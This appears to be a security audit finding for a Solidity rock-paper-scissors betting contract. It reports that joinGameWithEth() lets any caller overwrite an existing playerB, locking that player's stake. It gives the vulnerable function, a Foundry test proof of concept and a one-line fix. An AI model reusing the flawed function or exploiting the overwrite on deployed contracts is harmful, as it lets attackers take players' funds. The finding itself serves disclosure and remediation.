Summary && Vulnerability Details
The joinGameWithEth() function fails to check if playerB already exists, enabling these attacks:
Attack Scenario
-
Legitimate PlayerB joins the game and stakes ETH
-
Malicious PlayerC calls joinGameWithEth() with the same bet amount
-
Result:
Original playerB is overwritten
Original playerB's ETH is permanently locked in contract
Attacker becomes the new playerB and can claim winnings
Game state becomes corrupted
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
POC:
Add this test to the test file
function testJoinGameWithEthC() public {
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
address playerC = makeAddr("playerC");
vm.deal(playerC, 10 ether);
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
Impact
This vulnerability allows malicious users to overwrite PlayerB's position, stealing their staked ETH and potential winnings.
Tools Used
Foundry Tests
Recommendations
Add validation to prevent PlayerB overwrites:
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
+ require(game.playerB == address(0), "Game already has a playerB");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
